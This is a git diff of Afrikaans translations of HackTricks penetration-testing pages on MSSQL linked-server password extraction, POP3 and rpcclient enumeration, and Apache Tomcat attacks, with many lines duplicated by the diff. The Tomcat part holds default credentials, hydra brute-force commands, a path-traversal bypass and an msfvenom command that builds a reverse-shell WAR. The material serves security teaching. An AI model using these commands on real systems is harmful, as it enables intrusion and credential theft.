'n Aanvaller kan SQL Server Gekoppelde Bedieners wagwoorde uittrek uit die SQL-instanties en dit in duidelike teks verkry, wat die aanvaller wagwoorde gee wat gebruik kan word om 'n groter voet aan die doel te kry.
Die skrip om die wagwoorde wat vir die Gekoppelde Bedieners gestoor word, uit te trek en te ontsluit, kan [hier](https://www.richardswinbank.net/admin/extract_linked_server_passwords) gevind word.
## Uithaling van wagwoorde vanaf SQL Server Gekoppelde Bedieners
'n Aanvaller kan SQL Server Gekoppelde Bedieners se wagwoorde uithaal vanaf die SQL-instansies en dit in die teks sien, wat die aanvaller wagwoorde gee wat gebruik kan word om 'n groter voet aan die teiken te kry.
Die skrip om die wagwoorde wat vir die Gekoppelde Bedieners gestoor word, uit te haal en te ontsluit, kan [hier](https://www.richardswinbank.net/admin/extract_linked_server_passwords) gevind word.
Sekere vereistes en konfigurasies moet gedoen word sodat hierdie uitbuitwerk kan werk.
Eerstens moet jy Administrateur-regte op die masjien hê, of die vermoë om die SQL Server-konfigurasies te bestuur.
Sekere vereistes en konfigurasies moet gedoen word sodat hierdie uitbuiting kan werk.
Eerstens moet jy Administrateursregte op die masjien hê, of die vermoë om die SQL Server-konfigurasies te bestuur.
Nadat jou regte geverifieer is, moet jy drie dinge konfigureer, naamlik:
1. Skakel TCP/IP in op die SQL Server-instanties;
1. Skakel TCP/IP in op die SQL Server-instansies;
2. Voeg 'n Beginparameter by, in hierdie geval sal 'n spoorvlag bygevoeg word, naamlik -T7806.
3. Skakel die afgeleë administratiewe verbinding in.
3. Skakel afstandbeheerverbinding in.
Om hierdie konfigurasies outomaties te maak, het [hierdie bewaarplek](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) die nodige skripte.
Behalwe dat daar 'n PowerShell-skrip vir elke stap van die konfigurasie is, het die bewaarplek ook 'n volledige skrip wat die konfigurasieskripte en die uittrekking en ontsluiting van die wagwoorde kombineer.
Benewens 'n Powershell-skrip vir elke stap van die konfigurasie, het die bewaarplek ook 'n volledige skrip wat die konfigurasietskripte en die uithaling en ontsluiting van die wagwoorde kombineer.
Vir verdere inligting, verwys na die volgende skakels met betrekking tot hierdie aanval:
[Ontsluiting van MSSQL-databasis Gekoppelde Bediener Wagwoorde](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
Vir verdere inligting, verwys na die volgende skakels oor hierdie aanval:
[Ontsluiting van MSSQL-databasis Gekoppelde Bedienerwagwoorde](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
[Foutopsporing van die SQL Server Toegewyde Administratiewe Verbinding](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
[Foutopsporing van die SQL Server Toegewyde Administrateurverbinding](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
## Plaaslike Bevoorregte Eskalasie
## Plaaslike Voorregskaping
Die gebruiker wat die MSSQL-bediener hardloop, sal die voorregtoken **SeImpersonatePrivilege** geaktiveer hê.\
Jy sal waarskynlik kan **eskaleer na Administrateur** deur een van hierdie 2 bladsye te volg:
Die gebruiker wat MSSQL-bediener hardloop, sal die voorregsteken **SeImpersonatePrivilege** geaktiveer hê.\
Jy sal waarskynlik kan **opgradeer na Administrateur** deur een van hierdie 2 bladsye te volg:
{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md" %}
[roguepotato-and-printspoofer.md](../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md)
@ -621,18 +485,6 @@ Jy sal waarskynlik kan **eskaleer na Administrateur** deur een van hierdie 2 bla
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
* [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Vind kwesbaarhede wat die belangrikste is sodat jy dit vinniger kan regstel. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag nog gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## HackTricks Outomatiese Opdragte
```
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
Port_Number: 1433 #Comma separated if there is more than one.
@ -690,14 +542,14 @@ Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {I
```
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>

View file

@ -32,7 +32,7 @@ openssl s_client -connect <IP>:995 -crlf -quiet
Jy kan die opdrag `CAPA` gebruik om die vermoëns van die POP3-bediener te verkry.
## Outomaties
## Geoutomatiseer
```bash
nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -port <PORT> <IP> #All are default scripts
```
@ -58,25 +58,7 @@ CAPA Get capabilities
```
### Post Office Protocol (POP)
POP is a protocol used by email clients to retrieve emails from a remote server. Here are some common security issues to look out for when pentesting POP:
- **Weak Credentials**: Brute force attacks can be used to crack weak passwords used for POP accounts.
- **Cleartext Authentication**: POP transmits credentials in cleartext, making them vulnerable to interception.
- **No Encryption**: Lack of encryption in POP communications can expose sensitive information to eavesdropping.
- **User Enumeration**: Attackers can enumerate valid users through POP responses, aiding in further attacks.
- **Open Relay**: Misconfigured POP servers may allow unauthorized users to relay emails through the server.
- **Denial of Service**: POP servers can be targeted with DoS attacks, disrupting email services for users.
### Pentesting POP
During a POP pentest, you can perform the following tasks:
- **Brute Force Attacks**: Test for weak passwords by conducting brute force attacks on POP accounts.
- **Packet Sniffing**: Use tools like Wireshark to capture and analyze POP traffic for cleartext credentials.
- **Encryption Testing**: Verify if POP communications are encrypted using tools like SSL Labs.
- **User Enumeration**: Enumerate users through POP commands to identify potential targets for attacks.
- **Relay Testing**: Check for open relay vulnerabilities by attempting to relay emails through the POP server.
- **DoS Testing**: Assess the resilience of POP servers against DoS attacks using tools like LOIC.
POP is a protocol used by email clients to retrieve emails from a mail server. During a penetration test, you can attempt to retrieve emails from a target's mail server using tools like `telnet` or dedicated email clients configured to use POP. This can potentially expose sensitive information such as login credentials or confidential messages.
```
root@kali:~# telnet $ip 110
+OK beta POP3 server (JAMES POP3 Server 2.3.2) ready
@ -105,15 +87,13 @@ password: PA$$W0RD!Z
Van [https://academy.hackthebox.com/module/112/section/1073](https://academy.hackthebox.com/module/112/section/1073)
| **Instelling** | **Beskrywing** |
| **Instelling** | **Beskrywing** |
| ------------------------- | ----------------------------------------------------------------------------------------- |
| `auth_debug` | Stel alle verifikasie foutopsporing in. |
| `auth_debug_passwords` | Hierdie instelling pas log-verstommendheid aan, die ingedien wagwoorde en die skema word gelog. |
| `auth_verbose` | Log onsuksesvolle verifikasiepogings en hul redes. |
| `auth_verbose_passwords` | Wagwoorde wat vir verifikasie gebruik word, word gelog en kan ook afgekap word. |
| `auth_debug` | Stel alle outentiseringsfoutopsporing in. |
| `auth_debug_passwords` | Hierdie instelling pas logboekvernuwing aan, die ingediende wagwoorde, en die skema word gelog. |
| `auth_verbose` | Log onsuksesvolle outentiseringspogings en hul redes. |
| `auth_verbose_passwords` | Wagwoorde wat vir outentisering gebruik word, word gelog en kan ook afgekap word. |
| `auth_anonymous_username` | Hierdie spesifiseer die gebruikersnaam wat gebruik moet word wanneer ingeteken word met die ANONYMOUS SASL-meganisme. |
## HackTricks Outomatiese Opdragte
```
Protocol_Name: POP #Protocol Abbreviation if there is one.
Port_Number: 110 #Comma separated if there is more than one.
@ -158,13 +138,10 @@ Command: msfconsole -q -x 'use auxiliary/scanner/pop3/pop3_version; set RHOSTS {
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<img src="../.gitbook/assets/image (675).png" alt="" data-size="original">
Vind kwesbaarhede wat die belangrikste is sodat jy hulle vinniger kan regmaak. Intruder spoor jou aanvalsoppervlak op, hardloop proaktiewe dreigingsskanderings, vind probleme regoor jou hele tegnologie stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag nog gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) uit.
* Werk jy in 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Werk jy by 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks af in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Kry die [**amptelike PEASS & HackTricks-klere**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**hacktricks-opslag**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud-opslag**](https://github.com/carlospolop/hacktricks-cloud).

View file

@ -1,48 +1,40 @@
# rpcclient opsporing
# rpcclient enumerasie
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS hakwerk vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks af in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Werk jy in 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
* **Deel jou haktruuks deur PR's in te dien by die [hacktricks-opslag](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud-opslag](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Vind kwesbaarhede wat die belangrikste is sodat jy dit vinniger kan regstel. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag nog gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
### **Wat is 'n RID**
### Oorsig van Relatiewe Identifiseerders (RID) en Sekuriteitsidentifiseerders (SID)
**Relatiewe Identifiseerders (RID)** en **Sekuriteitsidentifiseerders (SID)** is sleutelkomponente in Windows-bedryfstelsels om unieke identifikasie en bestuur van voorwerpe, soos gebruikers en groepe, binne 'n netwerkdomein te verseker.
**Relatiewe Identifiseerders (RID)** en **Sekuriteitsidentifiseerders (SID)** is sleutelkomponente in Windows-bedryfstelsels om uniek identifiseer en bestuur van voorwerpe, soos gebruikers en groepe, binne 'n netwerkdomein.
- **SIDs** dien as unieke identifiseerders vir domeine, wat verseker dat elke domein onderskeibaar is.
- **RIDs** word by SIDs gevoeg om unieke identifiseerders vir voorwerpe binne daardie domeine te skep. Hierdie kombinasie maak noukeurige opsporing en bestuur van voorwerppermisies en toegangskontroles moontlik.
- **RIDs** word by SIDs gevoeg om unieke identifiseerders vir voorwerpe binne daardie domeine te skep. Hierdie kombinasie maak presiese opvolging en bestuur van voorwerpstoestemmings en toegangsbeheer moontlik.
Byvoorbeeld, 'n gebruiker genaamd `pepe` kan 'n unieke identifiseerder hê wat die domein se SID met sy spesifieke RID kombineer, verteenwoordig in beide heksadesimale (`0x457`) en desimale (`1111`) formate. Dit lei tot 'n volledige en unieke identifiseerder vir pepe binne die domein soos: `S-1-5-21-1074507654-1937615267-42093643874-1111`.
Byvoorbeeld, 'n gebruiker genaamd `pepe` mag 'n unieke identifiseerder hê wat die domein se SID met sy spesifieke RID kombineer, verteenwoordig in beide heksadesimale (`0x457`) en desimale (`1111`) formate. Dit lei tot 'n volledige en unieke identifiseerder vir pepe binne die domein soos: `S-1-5-21-1074507654-1937615267-42093643874-1111`.
### **Opsporing met rpcclient**
### **Enumerasie met rpcclient**
Die **`rpcclient`** nut van Samba word gebruik om met **RPC-eindpunte deur middel van genoemde pype** te kommunikeer. Hieronder is opdragte wat uitgereik kan word na die SAMR, LSARPC en LSARPC-DS koppelvlakke nadat 'n **SMB-sessie opgestel** is, wat dikwels legitimasie vereis.
Die **`rpcclient`** nutsprogram van Samba word gebruik om met **RPC-eindpunte deur genoemde pype** te interaksieer. Onderstaande opdragte kan uitgereik word na die SAMR, LSARPC, en LSARPC-DS koppelvlakke nadat 'n **SMB-sessie tot stand gebring is**, dikwels met die nodigheid van geloofsbriewe.
#### Bedienerinligting
* Om **Bedienerinligting te verkry**: word die `srvinfo`-opdrag gebruik.
* Om **Bedienerinligting te verkry**: word die `srvinfo` opdrag gebruik.
#### Opsporing van Gebruikers
#### Enumerasie van Gebruikers
* **Gebruikers kan gelys word** deur gebruik te maak van: `querydispinfo` en `enumdomusers`.
* **Gebruikers kan gelys word** deur: `querydispinfo` en `enumdomusers`.
* **Besonderhede van 'n gebruiker** deur: `queryuser <0xrid>`.
* **Groepe van 'n gebruiker** met: `queryusergroups <0xrid>`.
* **'n Gebruiker se SID word opgehaal** deur: `lookupnames <gebruikersnaam>`.
@ -55,69 +47,62 @@ done
# samrdump.py can also serve this purpose
```
#### Opname van Groepe
#### Opsomming van Groepe
* **Groepe** deur: `enumdomgroups`.
* **Besonderhede van 'n groep** met: `querygroup <0xrid>`.
* **Lede van 'n groep** deur: `querygroupmem <0xrid>`.
#### Opname van Alias Groepe
#### Opsomming van Alias Groepe
* **Alias groepe** deur: `enumalsgroups <builtin|domain>`.
* **Lede van 'n alias groep** met: `queryaliasmem builtin|domain <0xrid>`.
#### Opname van Domeine
#### Opsomming van Domeine
* **Domeine** deur: `enumdomains`.
* **'n Domein se SID word opgehaal** deur: `lsaquery`.
* **Domein inligting word verkry** deur: `querydominfo`.
#### Opname van Shares
#### Opsomming van Aandele
* **Alle beskikbare shares** deur: `netshareenumall`.
* **Inligting oor 'n spesifieke share word opgehaal** met: `netsharegetinfo <share>`.
* **Alle beskikbare aandele** deur: `netshareenumall`.
* **Inligting oor 'n spesifieke aandeel word opgehaal** met: `netsharegetinfo <aandeel>`.
#### Addisionele Operasies met SIDs
* **SIDs volgens naam** deur: `lookupnames <username>`.
* **SIDs op naam** deur: `lookupnames <gebruikersnaam>`.
* **Meer SIDs** deur: `lsaenumsid`.
* **RID cycling om meer SIDs te kontroleer** word uitgevoer deur: `lookupsids <sid>`.
* **RID-siklus om meer SIDs te kontroleer** word uitgevoer deur: `lookupsids <sid>`.
#### **Ekstra opdragte**
#### **Ekstra bevele**
| **Opdrag** | **Interface** | **Beskrywing** |
| **Bevel** | **Koppelvlak** | **Beskrywing** |
| ------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- |
| queryuser | SAMR | Haal gebruikersinligting op |
| querygroup | Haal groepinligting op | |
| querydominfo | Haal domeininligting op | |
| enumdomusers | Tel domeingebruikers op | |
| enumdomgroups | Tel domeingroepe op | |
| createdomuser | Skep 'n domeingebruiker | |
| deletedomuser | Verwyder 'n domeingebruiker | |
| queryuser | SAMR | Haal gebruiker inligting op |
| querygroup | Haal groep inligting op | |
| querydominfo | Haal domein inligting op | |
| enumdomusers | Enumereer domein gebruikers | |
| enumdomgroups | Enumereer domein groepe | |
| createdomuser | Skep 'n domein gebruiker | |
| deletedomuser | Verwyder 'n domein gebruiker | |
| lookupnames | LSARPC | Soek gebruikersname na SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) waardes |
| lookupsids | Soek SIDs na gebruikersname (RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9) cycling) | |
| lsaaddacctrights | Voeg regte by 'n gebruikersrekening | |
| lsaremoveacctrights | Verwyder regte van 'n gebruikersrekening | |
| dsroledominfo | LSARPC-DS | Kry primêre domeininligting |
| dsenumdomtrusts | Tel vertroue domeine binne 'n AD-bos | |
| lookupsids | Soek SIDs na gebruikersname (RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9) siklus) | |
| lsaaddacctrights | Voeg regte by 'n gebruiker rekening | |
| lsaremoveacctrights | Verwyder regte van 'n gebruiker rekening | |
| dsroledominfo | LSARPC-DS | Kry primêre domein inligting |
| dsenumdomtrusts | Enumereer vertroue domeine binne 'n AD bos | |
Om **beter te verstaan** hoe die gereedskap _**samrdump**_ **en** _**rpcdump**_ werk, moet jy [**Pentesting MSRPC**](../135-pentesting-msrpc.md) lees.
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Vind kwesbaarhede wat die belangrikste is sodat jy dit vinniger kan regstel. Intruder hou jou aanvalsoppervlak dop, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegniese stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag nog gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Werk jy in 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Werk jy in 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

View file

@ -4,7 +4,7 @@
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Werk jy by 'n **cybersekerheidsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Werk jy by 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -27,9 +27,9 @@ Om die weergawe van Apache Tomcat te vind, kan 'n eenvoudige bevel uitgevoer wor
```bash
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
```
### **Bestuurslêers Ligging**
### **Bestandslokasie van Bestuurder**
Die identifisering van die presiese ligging van die **`/bestuurder`** en **`/gasheer-bestuurder`** gids is noodsaaklik aangesien hul name verander kan word. 'n Brute-force soektog word aanbeveel om hierdie bladsye op te spoor.
Die identifisering van die presiese lokasies van **`/bestuurder`** en **`/gasheer-bestuurder`** gids is noodsaaklik aangesien hul name verander kan word. 'n Brute-force soektog word aanbeveel om hierdie bladsye op te spoor.
### **Gebruikersnaam Opsomming**
@ -39,7 +39,7 @@ msf> use auxiliary/scanner/http/tomcat_enum
```
### **Verstek Wagwoorde**
Die **`/bestuurder/html`** gids is veral sensitief omdat dit die oplaai en implementering van WAR-lêers moontlik maak, wat tot kode-uitvoering kan lei. Hierdie gids word beskerm deur basiese HTTP-verifikasie, met algemene wagwoorde wat insluit:
Die **`/bestuurder/html`** gids is veral sensitief omdat dit die oplaai en implementering van WAR-lêers moontlik maak, wat tot kode-uitvoering kan lei. Hierdie gids is beskerm deur basiese HTTP-verifikasie, met algemene wagwoorde wat insluit:
* admin:admin
* tomcat:tomcat
@ -62,7 +62,7 @@ hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 1
```
## Algemene Kwesbaarhede
### **Wagwoord Terugsporing Uitlekking**
### **Wagwoord Terugsporing Uitlek**
Toegang tot `/auth.jsp` kan die wagwoord in 'n terugsporing onthul onder gunstige omstandighede.
@ -74,7 +74,7 @@ Om toegang te verkry tot die bestuursweb van die Tomcat, gaan na: `pathTomcat/%2
### /voorbeelde
Apache Tomcat weergawes 4.x tot 7.x sluit voorbeeldskripte in wat vatbaar is vir inligtinguitlekking en kruisskripsaanvalle (XSS). Hierdie skripte, wat volledig gelys is, moet nagegaan word vir ongemagtigde toegang en potensiële uitbuiting. Vind [meer inligting hier](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
Apache Tomcat weergawes 4.x tot 7.x sluit voorbeeldskripte in wat vatbaar is vir inligtinguitlek en kruissite-skripsing (XSS) aanvalle. Hierdie skripte, wat volledig gelys is, moet nagegaan word vir ongemagtigde toegang en potensiële uitbuiting. Vind [meer inligting hier](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
* /voorbeelde/jsp/num/numguess.jsp
* /voorbeelde/jsp/dates/date.jsp
@ -101,7 +101,7 @@ Apache Tomcat weergawes 4.x tot 7.x sluit voorbeeldskripte in wat vatbaar is vir
### **Padtraversal-uitbuiting**
In sommige [**kwesbare opsette van Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) kan jy toegang kry tot beskermde gids in Tomcat deur die pad te gebruik: `/..;/`
In sommige [**kwesbare opsette van Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) kan jy toegang tot beskermde gids in Tomcat verkry deur die pad: `/..;/`
Dus, byvoorbeeld, kan jy **toegang tot die Tomcat-bestuurder** bladsy verkry deur toegang te verkry tot: `www.vulnerable.com/lalala/..;/manager/html`
@ -109,11 +109,11 @@ Dus, byvoorbeeld, kan jy **toegang tot die Tomcat-bestuurder** bladsy verkry deu
## RCE
Laastens, as jy toegang het tot die Tomcat-webtoepassingsbestuurder, kan jy **'n .war-lêer oplaai en implementeer (kode uitvoer)**.
Laastens, as jy toegang het tot die Tomcat Webtoepassingsbestuurder, kan jy **'n .war-lêer oplaai en inwerking stel (kode uitvoer)**.
### Beperkings
Jy sal slegs 'n WAR kan implementeer as jy **genoeg voorregte** het (rolle: **admin**, **bestuurder** en **bestuurder-skrips**). Hierdie besonderhede kan gevind word onder _tomcat-users.xml_ gewoonlik gedefinieer in `/usr/share/tomcat9/etc/tomcat-users.xml` (dit wissel tussen weergawes) (sien [POST](tomcat.md#post) afdeling).
Jy sal slegs 'n WAR kan inwerking stel as jy **genoeg voorregte** het (rolle: **admin**, **bestuurder** en **bestuurder-skrips**). Hierdie besonderhede kan gevind word onder _tomcat-users.xml_ gewoonlik gedefinieer in `/usr/share/tomcat9/etc/tomcat-users.xml` (dit varieer tussen weergawes) (sien [POST](tomcat.md#post) afdeling).
```bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
@ -138,11 +138,9 @@ msf exploit(multi/http/tomcat_mgr_upload) > exploit
```bash
msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
```
2. Laai die `revshell.war` lêer op en kry toegang daartoe (`/revshell/`):
### Bind en omgekeerde dop met [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
In sommige scenarios werk dit nie (byvoorbeeld ou weergawes van sun)
In sommige scenario's werk dit nie (byvoorbeeld ou weergawes van sun)
#### Aflaai
```bash
@ -204,7 +202,7 @@ zip -r backup.war cmd.jsp
```
## POST
